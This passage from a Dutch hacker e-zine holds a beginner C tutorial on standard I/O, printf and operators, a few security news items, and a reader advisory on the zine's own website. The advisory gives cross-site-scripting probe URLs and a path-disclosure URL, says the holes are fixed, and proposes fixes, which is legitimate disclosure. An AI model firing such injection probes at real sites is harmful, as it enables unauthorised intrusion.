maakt C dan ook weer gebruik van %e en %E om een floating-point met een scientific notatie toe te wijzen. Het gebruik van %e of %E in de printf() functie is dus hetzelfde als %f Het lezen van, en schrijven naar Standaard I/O ---------------------------------------------- Tot nu toe hebben we dus geleerd hoe we characters, integers en floating-point nummers op het scherm toveren met behulp van de functie printf(). Nu gaan we nog meer leren over de printf() functie en over de functie's: getc(), putc(), getchar() en putchar(). Deze zijn nodig om de input te verkrijgen van de user of om de output op het scherm te toveren. Maar voordat we naar deze nieuwe functies gaan zal ik eerst iets vertellen over de standaard input en output in C. Een file bestaat uit characters en nummers. Omdat een computer gebruik maakt van bits zullen alle characters en nummers bestaan uit bits. De programmeer-taal C behandelt een file als een serie van bytes. (8 bits = 1 byte, voor degene die het nog niet wisten). Een serie van bytes wordt ook wel een stream genoemd. C behandeld alle file streams hetzelfde. Het maakt dus niet uit of een file stream afkomstig is van een disk, tape drive, printer etc.. In de programmeer-taal C zijn drie file streams: stdin - De standaard input voor lezen stdout - De standaard output voor schrijven stderr - De standaard error voor het schrijven van error berichten Normaal gesproken linkt de standaard input (stdin) naar je toetsenbord, de standaard output (stdout) en de standaard error (stderr) naar je beeldscherm. Okey dan gaan we nu over naar het verkrijgen van input van de user. We zullen gebruik gaan maken van de getc() en de getchar() functies. De getc() functie leest het volgende character van een file stream, en brengt de character terug als een integer. De standaard syntax van getc() is: #include int getc(FILE *stream); uitleg: FILE *stream is hier een file stream (dat is een variabele). De functie brengt de numerieke waarde van de character-read terug. Als er een error (of een end-of-file) is, dan geeft de functie EOF. Hier volgt een voorbeeld dat de character leest die door de user is ingetypt vanaf zijn toetsenbord en de character op het scherm laat zien. 1: /* 05L01.c: Het lezen van input bij het aanroepen van getc() */ 2: #include 3: 4: main() 5: { 6: int ch; 7: 8: printf("Typ hier een character:\n"); 9: ch = getc( stdin ); 10: printf("Het zojuist ingetypte character is: %c\n", ch); 11: return 0; 12: } Compileer het programma en run het. Als je nu bijvoorbeeld p intypt dan geeftie als output ook p Uitleg: Zoals je ziet wordt er in regel 2 gebruik gemaakt van stdio.h, deze word o.a. weer gebruikt door de printf() functie. In regel 6 wordt de integer ch toegewezen. Regel 8 print het bericht op het scherm waarbij er gevraagt wordt om een character in te typen. In regel 9 wordt er gebruik gemaakt van de standaard input (stdin) voor de getc() functie. Deze geeft aan dat de file stream afkomstig is van het toetsenbord. Nadat de user een character intypt zal de getc() functie een numerieke waarde (dat is een integer) van een character terug sturen. Zoals je ziet is in regel 9 de numerieke waarde toegewezen aan de integer variabele ch. Regel 10 print de output weer op het scherm (m.b.v. printf() functie). Dan gaan we nu over naar de getchar() functie In de programmeer-taal C is de getchar() functie gelijk aan de getc(stdin) functie. De syntax voor de getchar() is: #include int getchar (void); Met void wordt hier aangegeven dat er geen argument nodig is om de functie aan te roepen. Een voorbeeld van het gebruik van getchar() om de input van de user te lezen: 1: /* 05L02.c: Het lezen van input bij het aanroepen van getchar() */ 2: #include 3: 4: main() 5: { 6: int ch1, ch2; 7: 8: printf("Typ twee characters:\n"); 9: ch1 = getc( stdin ); 10: ch2 = getchar( ); 11: printf("De eerste character is: %c\n", ch1); 12: printf("De tweede character is: %c\n", ch2); 13: return 0; 14: } Als je dit compileert en runt, en je typt bijv: hi, dan geeftie als output bij 1:h en bij 2:i Dit is weer bijna hetzelfde als bovenstaande proggie. Alleen leestie nu twee characters. In regel 6 worden er echter twee integers toegewezen, namelijk ch1 en ch2. En in regel 8 wordt weer een bericht op het scherm getovert waarbij gevraagt wordt om twee characters in te typen. In regel 9 en 10 worden de functies getc() en getchar() aangeroepen. Om de twee characters te lezen, die door de user zijn ingetypt. Je kunt echter in regel 10 ook weer de getc( stdin ) functie invoeren, omdat getc(stdin) hetzelfde is als getchar(). Regel 11 en 12 zorgen weer voor de output op het scherm. Naast de functies getc() en getchar() voor het lezen. heeft C ook twee functies voor het schrijven. Deze zijn putc() en putchar(). De putc() functie schrijft een character aan de file stream, welke, in dit geval, de standaard output is van je scherm. De syntax voor de putc() is: #include int putc(int c, FILE *stream); Het eerste argument, int c, duid erop dat de output een character is, opgeslagen in een integer variabele. Het tweede argument FILE *stream duid op een file stream. Dan nu een voorbeeld waarbij the putc() functie wordt gebruikt om de character A op het scherm af te drukken. 1: /* 05L03.c: Outputting van een character met putc() */ 2: #include 3: 4: main() 5: { 6: int ch; 7: 8: ch = 65; /* De numerieke waarde van A */ 9: printf("De character dat de numerieke waarde 65 heeft is:\n"); 10: putc(ch, stdout); 11: return 0; 12: } Uitleg: Zoals je weet is de numerieke waarde van 65 in de ASCII character lijst een A. De integer variabele ch in regel 6 heeft de waarde 65 gekregen (zie regel 8) Regel 9 laat weer een message op het scherm zien. En in regel 10 zorgt de putc() functie voor de afdruk van de A op het scherm. Het eerste argument van de putc() functie is de integer variabele (ch) deze heeft de waarde 65, en het tweede argument is de standaard output file stream (stdout) Een ander functie voor schrijven is de putchar() Deze zal ik nu uitleggen. putchar() wordt evenals putc() gebruikt voor het afdrukken van een character op het scherm. Het enige verschil tussen deze twee functies is dat de putchar() functie maar 1 argument nodig heeft om de character te bevatten. De syntax voor putchar() is: #include int putchar(int c); Dan nog een voorbeeldje van het gebruik van deze functie 1: /* 05L04.c: Outputting van characters d.m.v. putchar() */ 2: #include 3: 4: main() 5: { 6: putchar(65); 7: putchar(10); 8: putchar(66); 9: putchar(10); 10: putchar(67); 11: putchar(10); 12: return 0; 13: } Dit proggie zorgt voor de output van A B C op het scherm. Zoals je zelf al kon raden staan de numerieke waarde 65, 66 en 67 dus voor A B en C in de ASCII character lijst. Het getal 10 is de numerieke waarde van de nieuwe regel (De character \n). De printf() functie ------------------- De printf() functie is een hele belangrijke functie in C. Het zorgt namelijk voor de afdruk van berichten op je scherm. En omdat het zo'n belangrijke functie is, zullen we er wat meer over gaan leren. Eerst zal ik weer de syntax van de printf() functie geven. Deze is als volgt: #include int printf(const char *format-string, ...); Uitleg: Met de const char *format-string wordt het eerste argument bedoelt. 'Const char *' zal ik nog op terugkomen. Maar voorlopig kun je het eerste argument van printf() beschouwen als een serie van characters, met aanhalingstekens eromheen. Zo doe je bijvoorbeeld: "De som van twee integers %d + %d is: %d.\n" Met de ... (zie syntax) wordt weer het formaat bedoelt. Dus %c, %d, %f etc.. Ik zal een overzichtje geven van de formaten die printf() gebruikt: %c = Het character formaat. \ %d = Het integer formaat. \ %i = Het integer formaat (hetzelfde als %d). \ Deze zijn al besproken %f = Het floating-point formaat. / %e = Het scientific notatie formaat (Dit is de lowercase e). / %E = Het scientific notatie formaat (Dit is de uppercase E). / %g = Gebruikt %f of %e, (ligt eraan welk resultaat kleiner is) %G = Gebruikt %f of %E, (ligt eraan welk resultaat kleiner is) %o = Het unsigned octal formaat. %s = Het string formaat. %u = Het unsigned integer formaat. %x = Het unsigned hexadecimaal formaat (Dit is de lowercase x). %X = Het unsigned hexadecimaal formaat (Dit is de uppercase X). %p = Laat het corresponderende argument zien dat een pointer is. %n = Records het aantal characters dat tot dan toe geschreven is. %% = Zorgt voor de output van een percentage teken (%). We gaan het nu hebben over %x en %X. Deze converteren decimale nummers om in hexadecimale nummers. Eerst weer even een beetje uitleg. Het verschil tussen een decimaal nummer en een hexadecimaal nummer is, dat hexadecimaal een base-16 systeem heeft. Een hexadecimaal (hex) is een 16 tallig stelsel (2^4 = 16). En het loopt van 0 t/m F. Voor meer info over decimalen en hexadecimalen zie artikel van PhantomLord. In h4h-0c. Een voorbeeld van het converteren van decimale nummers naar hex nummers, d.m.v. %x of %X. 1: /* 05L05.c: Converteren naar hex nummers */ 2: #include 3: 4: main() 5: { 6: printf("Hex(uppercase) Hex(lowercase) Decimal\n"); 7: printf("%X %x %d\n", 0, 0, 0); 8: printf("%X %x %d\n", 1, 1, 1); 9: printf("%X %x %d\n", 2, 2, 2); 10: printf("%X %x %d\n", 3, 3, 3); 11: printf("%X %x %d\n", 4, 4, 4); 12: printf("%X %x %d\n", 5, 5, 5); 13: printf("%X %x %d\n", 6, 6, 6); 14: printf("%X %x %d\n", 7, 7, 7); 15: printf("%X %x %d\n", 8, 8, 8); 16: printf("%X %x %d\n", 9, 9, 9); 17: printf("%X %x %d\n", 10, 10, 10); 18: printf("%X %x %d\n", 11, 11, 11); 19: printf("%X %x %d\n", 12, 12, 12); 20: printf("%X %x %d\n", 13, 13, 13); 21: printf("%X %x %d\n", 14, 14, 14); 22: printf("%X %x %d\n", 15, 15, 15); 23: return 0; 24: } Compileer en run het programma en je zult als output krijgen: Hex(uppercase) Hex(lowercase) Decimal 0 0 0 1 1 1 2 2 2 3 3 3 4 4 4 5 5 5 6 6 6 7 7 7 8 8 8 9 9 9 A a 10 B b 11 C c 12 D d 13 E e 14 F f 15 Uitleg: Zoals je ziet gebruik je hier steeds de printf() functie. Regel 6: Deze drukt een regel op het scherm af waarbij de velden Hex(uppercase), Hex(lowercase) en de decimaal voorkomen. Regel 7 t/m 22: Deze laat de output zien van de hex en decimale nummers 0 t/m 15. (Het zijn dus in totaal 16 printf() functies i.v.m. het hexadecimale tallenstelsel) %X en %x worden gebruikt voor de uppercase (=Hoofdletter) en lowercase (=Kleine letter). Niemand zal echter zo'n programma'tje maken, omdat dit ook gedaan kan worden d.m.v. een loop. Maar hier kom ik in mijn volgende artikelen nog wel op terug. Dan gaan we nu verder met de minimale veld breedte. In C is het toegestaan om een integer te plaatsen tussen het percentage teken (%) en de formaat letter (c, d etc..) De integer wordt dan de minimale veld breedte genoemd, omdat het er voor zorgt dat de output deze veld breedte bereikt. Voorbeeld: in %10f is het getal 10 de minimale veldbreedte. Deze zorgt er dus voor dat de output op zijn minst 10 characters lang is. Ik zal nog een voorbeeld geven: 1: /* 05L06.c: De minimale veld lengte */ 2: #include 3: 4: main() 5: { 6: int num1, num2; 7: 8: num1 = 12; 9: num2 = 12345; 10: printf("%d\n", num1); 11: printf("%d\n", num2); 12: printf("%5d\n", num1); 13: printf("%05d\n", num1); 14: printf("%2d\n", num2); 15: return 0; 16: } Compileer en run het programma weer en je zult zien: 12 12345 12 00012 12345 Uitleg: Regel 6: hier worden twee integer variabelen toegewezen. (num1 en num2) Deze krijgen de waarde 12 en 12345 in de regels 8 en 9. In regel 10 en 11 is er GEEN minimale veldbreedte toegewezen. Je ziet dan ook als output gewoon de 12 en de 12345. Regel 12: hier wordt een minimale veldbreedte van 5 toegewezen. (%5d) De output neemt dan ook 5 characters in beslag. 3 blanko (gewoon spaties dus) en het getal 12 (2 characters) Regel 13: Met %05d (let vooral op de 0) wordt bedoelt dat de veldbreedte ook weer 5 is, alleen dat in de plaats van de 3 blanko regels (de 3 spaties dus) nu drie keer de 0 wordt geschreven. Regel 14: De %2d zet de veldbreedte op 2. (maar je ziet nog steeds de output 12345) Dit betekent dat: wanneer de minimale veldbreedte kleiner is dan de lengte van de oorspronkelijk output er gewoon de normale output wordt afgedrukt op het scherm. (hier dus 12345) Het uitlijnen van de output is het volgende onderdeel dat ik hier ga bespreken. Zoals je gezien hebt in het vorige voorbeeld word de output steeds naar rechts uitgelijnt. De output wordt dus steeds aan de rechterkant van het veld geplaatst, zolang de veldbreedte langer is dan de breedte van de output. Nu is het natuurlijk ook mogelijk in C om niet rechts, maar juist links uit te lijnen. En dat is waar ik het nu over ga hebben. Om links uit te lijnen is eigenlijk heel simpel. Je moet gewoon voor de minimale veldbreedte het min (-) teken zetten. Bijvoorbeeld %-12d maakt de minimale veldbreedte 12 lang, en zorgt voor een uitlijning naar links. Een voorbeeldje van een linker en een rechter uitlijning: 1: /* 05L07.c: Uitlijning van de output */ 2: #include 3: 4: main() 5: { 6: int num1, num2, num3, num4, num5; 7: 8: num1 = 1; 9: num2 = 12; 10: num3 = 123; 11: num4 = 1234; 12: num5 = 12345; 13: printf("%8d %-8d\n", num1, num1); 14: printf("%8d %-8d\n", num2, num2); 15: printf("%8d %-8d\n", num3, num3); 16: printf("%8d %-8d\n", num4, num4); 17: printf("%8d %-8d\n", num5, num5); 18: return 0; 19: } De output is dan als volgt: 1 1 12 12 123 123 1234 1234 12345 12345 Uitleg: In regel 6 zie je weer 5 integer variabelen, num1, num2 etc.. In regel 8 t/m 12 krijgen ze waardes mee. num1=1, num2=12 etc.. In regel 13 t/m 17 worden ze door de printf() functie op het scherm getovert. Zoals je ziet lijnt %8d uit naar rechts, en %-8d (let op het - teken !) naar links. Het laatste onderdeel wat is bespreek van de printf() functie is de punt (.) In C kun je een . en een integer zetten achter de minimale veldbreedte. De combinatie van beide (een . en een integer) maakt een zogenaamde precision specifier. Deze precision specifier wordt gebruikt om het aantal decimalen voor floating-point nummers vast te stellen, of om de maximale veldbreedte (of lengte) van integers of strings vast te stellen. (strings zullen later behandeld worden in de toekomstige artikels :) Bijvoorbeeld, %10.3f, hier is de minimale veldbreedte dus 10 characters, en het aantal decimalen is 3. Hier volgt weer een voorbeeldje uit TYCI24H van uitlijning (links / rechts) m.b.v. zogenaamde precision specifiers. 1: /* 05L08.c: Het gebruik van precision specifiers */ 2: #include 3: 4: main() 5: { 6: int int_num; 7: double flt_num; 8: 9: int_num = 123; 10: flt_num = 123.456789; 11: printf("Default integer formaat: %d\n", int_num); 12: printf("Met precision specifier: %2.8d\n", int_num); 13: printf("Default float formaat: %f\n", flt_num); 14: printf("Met precision specifier: %-10.2f\n", flt_num); 15: return 0; 16: } Compileer het proggie (bijv: gcc testje.c -o test) run het en je ziet als output: Default integer formaat: 123 Met precision specifier: 00000123 Default float formaat: 123.456789 Met precision specifier: 123.46 Uitleg: Het programma heeft 1 integer, int_num in regel 6. Het programma heeft 1 floating-point nummer, flt_num in regel 7. In regel 9 wordt de waarde 123 toegewezen aan de integer. In regel 10 wordt de waarde 123.456789 toegewezen aan het floating-point nummer. In regel 11 wordt gewoon de integer waarde 123 afgedrukt. In regel 12 wordt de precision specifier gebruikt. Er wordt aangeduid dat de maximale veldbreedte 8 characters lang is. Je ziet in de output dan ook dat er 5 nullen (5 + 3 characters = 8) worden gebruikt. In regel 13 wordt weer gewoon de floating-point variabele gebruikt (= 123.456789). En in regel 14 worden (m.b.v de precision specifier) het aantal decimalen gereduceert tot 2 (= .2) Je ziet ook weer dat het - teken gebruikt wordt om links uit te lijnen. Verder zie je dat er 123.46 staat, en NIET 123.45. Dit komt omdat 123.456789 afgerond op 2 decimalen 123.46 is. (mja.. dit had je natuurlijk kunnen raden :) Dit was het voor wat het printf() commando betreft. Operators --------- Nee geen sysops, hehe :) Maar OPERATORS.. misschien wel een van de lastigste dingen in het programmeren. Tenminste dat ligt eraan hoe goed je in wiskunde bent natuurlijk. Maar het is wel belangrijk voor de volgende artikelen, waar dit weer terug komt. Het zijn de 'expressions'. Als het goed is dan ken je ze al, (citaat Tozz: Iedere beetje computer gebruik hoort dit te weten, magoed.. voor de total knowno..) '*' betekent vermenigvuldigen (Multiplication) '/' betekent delen (Division) '+' betekent optellen (Addition) '-' betekent aftrekken (Substraction) '%' betekent modulus (Remainder) C kent echter nog meer van deze 'operators', waarvan ik er hier ook een paar zal bespreken. Ik begin met de zogenaamde Assignment Operator (=). Het = teken dus. We hebben deze al vaker gebruikt in de vorige programma's / artikelen. Een voorbeeldje: a = 5, dit statement schrijft de waarde '5' in het geheugen van de integer variabele 'a'. Hetzelfde is het geval bij: b = a = 5, dit statement voegt '5' aan de integer variabele 'a' toe, en daarna aan de integer variabele 'b'. Dus zowel a als b hebben de waarde 5 gekregen. Okey dit was nog niet zo moeilijk ;) Dan nu het combineren van 'operators' met = Stel: Je hebt twee integer variabelen, x en y, hoe krijg je nu de som van x en y toegewezen aan een andere integer variabele, z ? Zoals je misschien wel weet is dit eigenlijk best simpel, namelijk door z = x + y Laten we nu datzelfde voorbeeld nog eens een keertje bekijken. Alleen maken we van de derde integer, z, nu een x. We krijgen dan natuurlijk weer: x = x + y In C hebben we hiervoor een nieuwe 'operator', namelijk += Je kunt x = x + y dan herschrijven naar x += y De combinaties van = teken met andere 'operators' (+,-,*,/ en %) geven dan ook weer nieuwe 'operators' Deze zijn: += Addition assignment operator (dit is dus optellen) -= Subtraction assignment operator (Dit is aftrekken) *= Multiplication assignment operator (Dit is vermenigvuldigen) /= Division assignment operator (Dit is delen) %= Remainder assignment operator (Dit is modulus) Even een voorbeeldje voor de duidelijkheid: x += y is gelijk aan x = x + y x -= y is gelijk aan x = x - y x *= y is gelijk aan x = x * y x /= y is gelijk aan x = x / y x %= y is gelijk aan x = x % y Let Op ! z = z * x + y is niet hetzelfde als z *= x + y omdat z *= x + y betekent z = z * (x + y) <--- let op de haakjes ! Dan weer eens een voorbeeldje uit het TYCI24H boek waarbij gebruik gemaakt wordt van deze 'assignment operators' 1: /* 06L01.c: Het gebruik van assignment operators */ 2: #include 3: 4: main() 5: { 6: int x, y, z; 7: 8: x = 1; /* initialize x */ 9: y = 3; /* initialize y */ 10: z = 10; /* initialize z */ 11: printf("Gegeven x = %d, y = %d, en z = %d,\n", x, y, z); 12: 13: x = x + y; 14: printf("x = x + y assigns %d to x;\n", x); 15: 16: x = 1; /* reset x */ 17: x += y; 18: printf("x += y assigns %d to x;\n", x); 19: 20: x = 1; /* reset x */ 21: z = z * x + y; 22: printf("z = z * x + y assigns %d to z;\n", z); 23: 24: z = 10; /* reset z */ 25: z = z * (x + y); 26: printf("z = z * (x + y) assigns %d to z;\n", z); 27: 28: z = 10; /* reset z */ 29: z *= x + y; 30: printf("z *= x + y assigns %d to z.\n", z); 31: 32: return 0; 33: } Pffwoeeeei.., ik zou zeggen lees het nog eens rustig door, en typ het eens over, compileer en run het proggie. Je zult zien dat de output dan wordt: Gegeven x = 1, y = 3, en z = 10, x = x + y assigns 4 to x; x += y assigns 4 to x; z = z * x + y assigns 13 to z; z = z * (x + y) assigns 40 to z; z *= x + y assigns 40 to z. De gebruikelijke uitleg, In regel 8 t/m 10 worden weer de waarden toegekent aan de integer variabelen. Regel 11 spreekt voor zich :) Regel 13, hier x = x + y berekent en het resultaat wordt toegewezen aan x. In regel 14 wordt dit resultaat op het scherm afgedrukt. In regel 17 en 18 wordt ditzelfde weer gedaan (het resultaat wordt dus weer berekent en getoont) In regel 16 wordt de x weer gereset naar de waarde 1 In regel 20 wordt dit weer gedaan zoals je ziet. Regel 21 doet een vermenigvuldiging en een optelling, en slaat het resultaat op in de integer z. Regel 22 zorgt weer voor de output van het resultaat op het scherm. In regel 24 t/m 30 worden ook weer 2 resultaten berekent en getoont. Deze resultaten zijn echter beide 40, omdat de z = z * (x + y) in regel 25 hetzelfde is als, z *= x + y in regel 29. (zoals uitgelegt hierboven) Dan gaan we nu verder met het maken van negatieve nummers in C. Je kunt een numeriek nummer heel simpel negatief maken door er een - teken voor te zetten. Best logisch ;) Bijvoorbeeld de integer 9, doe je gewoon -9. Bij een floating-point nummer doe je precies hetzelfde. Een voorbeeld: x = 1.234, -x geeft dan -1.234. En: x = -1.234, -x geeft dan 1.234 Incrementing or Decrementing by One, het symbool voor de 'increment operator' is ++, voor de 'decrement operator' is dit -- Zo kun je het statement x = x + 1, schrijven als ++x Dit statement wordt de pre-increment operator genoemd, omdat de operator eerst 1 toevoegt aan x, en dan de waarde x krijgt. Gebruik je x++ (dit is dus precies andersom dan ++x) dan noem je dat een post-increment operator. Hetzelfde geldt natuurlijk voor --x en x-- Groter dan / of kleiner dan.... Je kent dat wel uit de wiskunde lessen. In C worden de volgende expressions gebruikt: == Gelijk aan != Niet gelijk aan > Groter dan < Kleiner dan >= Groter of gelijk aan <= Kleiner of gelijk aan Een belangrijk dingetje om te weten is dat deze expressions altijd een resultaat geven van 0 of 1. Als het klopt geeftie een 1 anders een 0 Dus: x = 3, en y = 5 en je zou doen x < y dan is het resultaat dus 1 Het laatste onderdeel van de 'operators' dat is ga bespreken is de zogenaamde 'Cast operator' In C kun je een data type converteren in een ander data type d.m.v. cast operator. We kunnen zo bijvoorbeeld van een integer een float maken, we doen dan bijv: (float)5, deze converteert de integer 5 naar een floating-point nummer, namelijk 5.0 (Let op de aanhalingstekens ( en ) bij het data type) Nog een voorbeeldje uit het TYCI24H boek: 1: /* 06L04.c: Het gebruik van de cast operator */ 2: #include 3: 4: main() 5: { 6: int x, y; 7: 8: x = 7; 9: y = 5; 10: printf("Gegeven x = %d, y = %d\n", x, y); 11: printf("x / y produceert: %d\n", x / y); 12: printf("(float)x / y produceert: %f\n", (float)x / y); 13: return 0; 14: } De output is als volgt: Gegeven x = 7, y = 5 x / y produceert: 1 (float)x / y produceert: 1.400000 Zoals je ziet kun je dus d.m.v. (float)x de data type converteren. In dit voorbeeldje dus naar een floating-point nummer. Dit was het voor deze keer. Ik hoop dat jullie er wat aan hebben. Ook hoop ik voor de volgende h4h weer een nieuw artikel klaar te hebben liggen. Tenminste als jullie willen dat ik er mee door ga natuurlijk. Dus mail me even over: wat jullie ervan vinden ?? (doorgaan of niet?), voor comments etc.. LET wel op: ik ben ook nog een totale newbie op het gebied van C. Dus kom niet met te moeilijke vragen :)) grtzz _Razor_ ------------------------------------------------------- 10. Kort. ------------------------------------------------------- Kort is een terugkomend item in H4H, In dit deel bespreken wij nieuwtjes op het gebied van security, artikeltjes die wij tegen kwamen in de ICT vakbladen, forums e.d. Natuurlijk mogen lezers ook stukjes aandragen, dat kan naar het standaard adres voor artikelen artikel@hackers4hackers.org. -- ‘Microsoft dreigt Windows uit de handel te nemen’ Een wereld zonder Windows. Dat is waar Microsoft de Amerikaanse justitie mee dreigt als het concern wegens monopoliemisbruik veroordeeld wordt. Negen Amerikaanse staten eisen dat Microsoft de internetbrowser Explorer loskoppelt van het besturingsprogramma Windows. Volgens Microsoft zou daarmee voor miljarden aan kapitaal vernietigd worden. Bill Gates zal voor de rechtbank uitleggen dat het technisch ook onmogelijk is om de twee programma's uit elkaar te halen. Het zou Windows instabiel maken en beveiligingslekken veroorzaken -- 'Spamverbod gevaar voor meningsuiting' Het verbieden van spam in de Verenigde Staten kan nadelige gevolgen hebben voor de vrijheid van meningsuiting in andere landen. Dat zegt de Direct Marketing Association (DMA), een Amerikaanse lobbygroep voor reclamemakers via telefoon, post en e-mail. "Als de Verenigde Staten wetgeving aannemen waardoor je geen informatie kunt versturen, omdat het informatie is die ik niet noodzakelijk wil ontvangen, geef je daarmee het groene licht aan de rest van de wereld om hetzelfde principe te gebruiken bij niet-commerciële uitingen", aldus Jerry Cerasale van de DMA tijdens een debat van het Cato Institute. Cerasale pleit voor een opt-out regeling, zo meldt Wired News. "Je moet wel de mogelijkheid bieden om te zeggen: 'Ik wil deze e-mails niet meer en daar moet je aan voldoen'." Een tijdens het debat aanwezige vertegenwoordiger van de digitale-burgerrechtenorganisatie Electronic Privacy Information Center (EPIC) erkende dat vrijheid van meningsuiting in het geding kan zijn bij een verbod van spam, maar dat weerhield hem er niet van te pleiten voor anti-spammaatregelen. -- 'Priority Telecom haalt anti-Scientology site van het internet' De lange arm van de Scientology Kerk heeft weer eens toegeslagen. De kerk verzette zich eerder tegen het online zetten van citaten van Scientology oprichter L. Ron Hubbard, of andere met copyright beschermde teksten van de kerk. De tactiek is telkens hetzelfde. Scientology stuurt een leger advocaten af op de ongelukkige eigenaar van de website waar de citaten op staan. Om een lang en duur proces te voorkomen haalt de geschrokken eigenaar de citaten meestal snel weer van het internet. Dit keer heeft de Scientology Kerk Priority Telecom, een dochterbedrijf van UPC, zover gekregen de internetprovider Xtended Internet af te sluiten. Xtended Internet is een kleine provider die opkomt voor de vrijheid van meningsuiting op het internet en gaf onderdak aan xenu.net, een anti-Scientologywebsite. Inmiddels heeft xenu.net een ander onderkomen gevonden en is weer gewoon te bezoeken. -- 'Antivirusprogramma mag geen FBI-virus doorlaten ' Lek voor Magic Lantern kan misbruikt worden Makers van antivirussoftware willen geen 'achterdeur' openlaten waarmee de FBI digitale informatie kan achterhalen. Zowel Network Associates, Trend Micro, Sophos als Symantec zijn niet te porren voor het idee om via virussen de pc van een verdachte binnen te dringen. Een maand geleden meldde MSNBC.com dat de FBI onder de codenaam 'Magic Lantern' werkte aan surveillancesoftware die net als een virus zich ongezien installeert op een pc en dan alle toetsaanslagen doorstuurt. De politiedienst zou zo wachtwoorden tot geëncrypteerde informatie en andere gegevens kunnen vastkrijgen. Het plan is een reactie op lastige en tijdrovende gerechtelijke onderzoeken, die worden gedwarsboomd door het feit dat criminelen in toenemende mate zware encryptie toepassen om hun gegevens te beschermen. -- 'Electricity over IP' Helaas een engels artikel, geintreseerd... lees verder op: http://www.securitydatabase.net/forum/viewtopic.php?TopicID=3870#8072 -- (Bron: http://www.securitydatabase.net) ------------------------------------------------------- 11. Hackers 4 Hackers onder de loep. ------------------------------------------------------- Het volgende stukje tekst is ons toegestuurd, we konden het niet laten om het na het fixen zelf maar te publiceren ;P de benedenstaande bugs werken dus niet meer ! Inleiding: ---------- op de meeting van h4h zaten Nowhereman en ik wat te discussieren over de weinige security-praat op rizenet. Daarom besloten wij eens een initiatief te nemen en een site voor de gein onder de loep te nemen. Dat hebben we dus gedaan. En zo vonden wij een paar security problemen in h4h zelf. Probleem: --------- Zo is h4h vulnerable voor Cross Side Scripting (CSS). Wij vonden de volgende mogelijkheden om CSS toe te passen: http://www.hackers4hackers.com/?menu=1000&page=

boe

http://www.hackers4hackers.com/cgi-bin/search.cgi?show_search=no&result_num=10&case=insensitive&connector=or&show_summary=yes&keyword=%3Ch1%3Eboe%3C%2Fh1%3E Zoals je ziet belandt de HTML code die we daar neerplanten zo op de pagina (Het kenmerk van CSS). Na enig onderzoek van proberen en redeneren kwamen we er achter dat het uitvoeren van javascript ook mogelijk is dmv: Dit brengt natuurlijk het grote gevaar met zich mee. Met javascript is het vast en zeker mogelijk evil scripts te maken die kunnen leiden tot grote problemen. Nu wij wisten dat het uitvoeren van javascript mogelijk was gingen we proberen om PHP uit te voeren op de server. Het is namelijk mogelijk PHP files aan te roepen binnen een pagina met script tags, namelijk: Dit werkte blijkbaar niet. Dit zou kunnen komen dat de pagina al geparsed was en dus dit stukje niet mee parsde. Of de server deze manier van PHP includen niet ondersteunde. Nog een mogelijkheid is dat de server de quotes escaped en ze dus onschadelijk maakt. Maar wij sluiten niet uit dat het niet op de een of andere manier mogelijk is om PHP uit te voeren op de server. Verder vonden we nog een mogelijkheid om de volledige pathnames van wat files te achterhalen door de volgende URL aan te vragen: http://www.hackers4hackers.com/reader.php?h4h=0C&page=9999 Op de plaats van 9999 kan elk getal staan dat niet op de server bestaat. Op deze manier wordt dus het volledige unix path zichtbaar, iets dat ook niet al te bevordelijk is voor de security... Verdere fouten: --------------- Tot slot hadden we nog een klein slordigheidje ontdenkt dat naar ons weten geen security gevaar oplevert. http://www.hackers4hackers.com/?menu=<&page=1000 Bij het oproepen van deze pagina zal de pagina laden alleen zonder menu. In plaats van het menu zal er staan ERROR. Dit is niet netjes en kan ook zeker gefixed worden. Oplossing: ---------- Van hackers 4 hackers zou je moeten verachten dat ze het zelf wel oplossen, maar aangezien deze fouten er in zitten zal ik toch maar een oplossing voordragen. Het CSS probleem kan net worden opgelost door de volgende code aan de scripts toe te voegen: if (htmlspecialchars($var) != $var) die("Niet hacken boefje"); Verder is de ERROR in het menu te voorkomen door het volgende stukje code toe te voegen aan de scripts. (Dit werkt ook voor het CSS probleem maar is minder netjes vind ik zelf) $allow = array(1000,2000,3000); if (!in_array($var,$allow)) die("Niet hacken boefje"); Ook de pathname bug kan op deze manier opgelost worden. Voot de cgi vuln. heb ik geen oplossing omdat ik geen cgi kan :P Slot: ----- Zow dat was hem weer, onze advisory. Doe er wat mee, en denk erom: goeie security begint bij jezelf :) Grtz from: MrFreeze & Nowhereman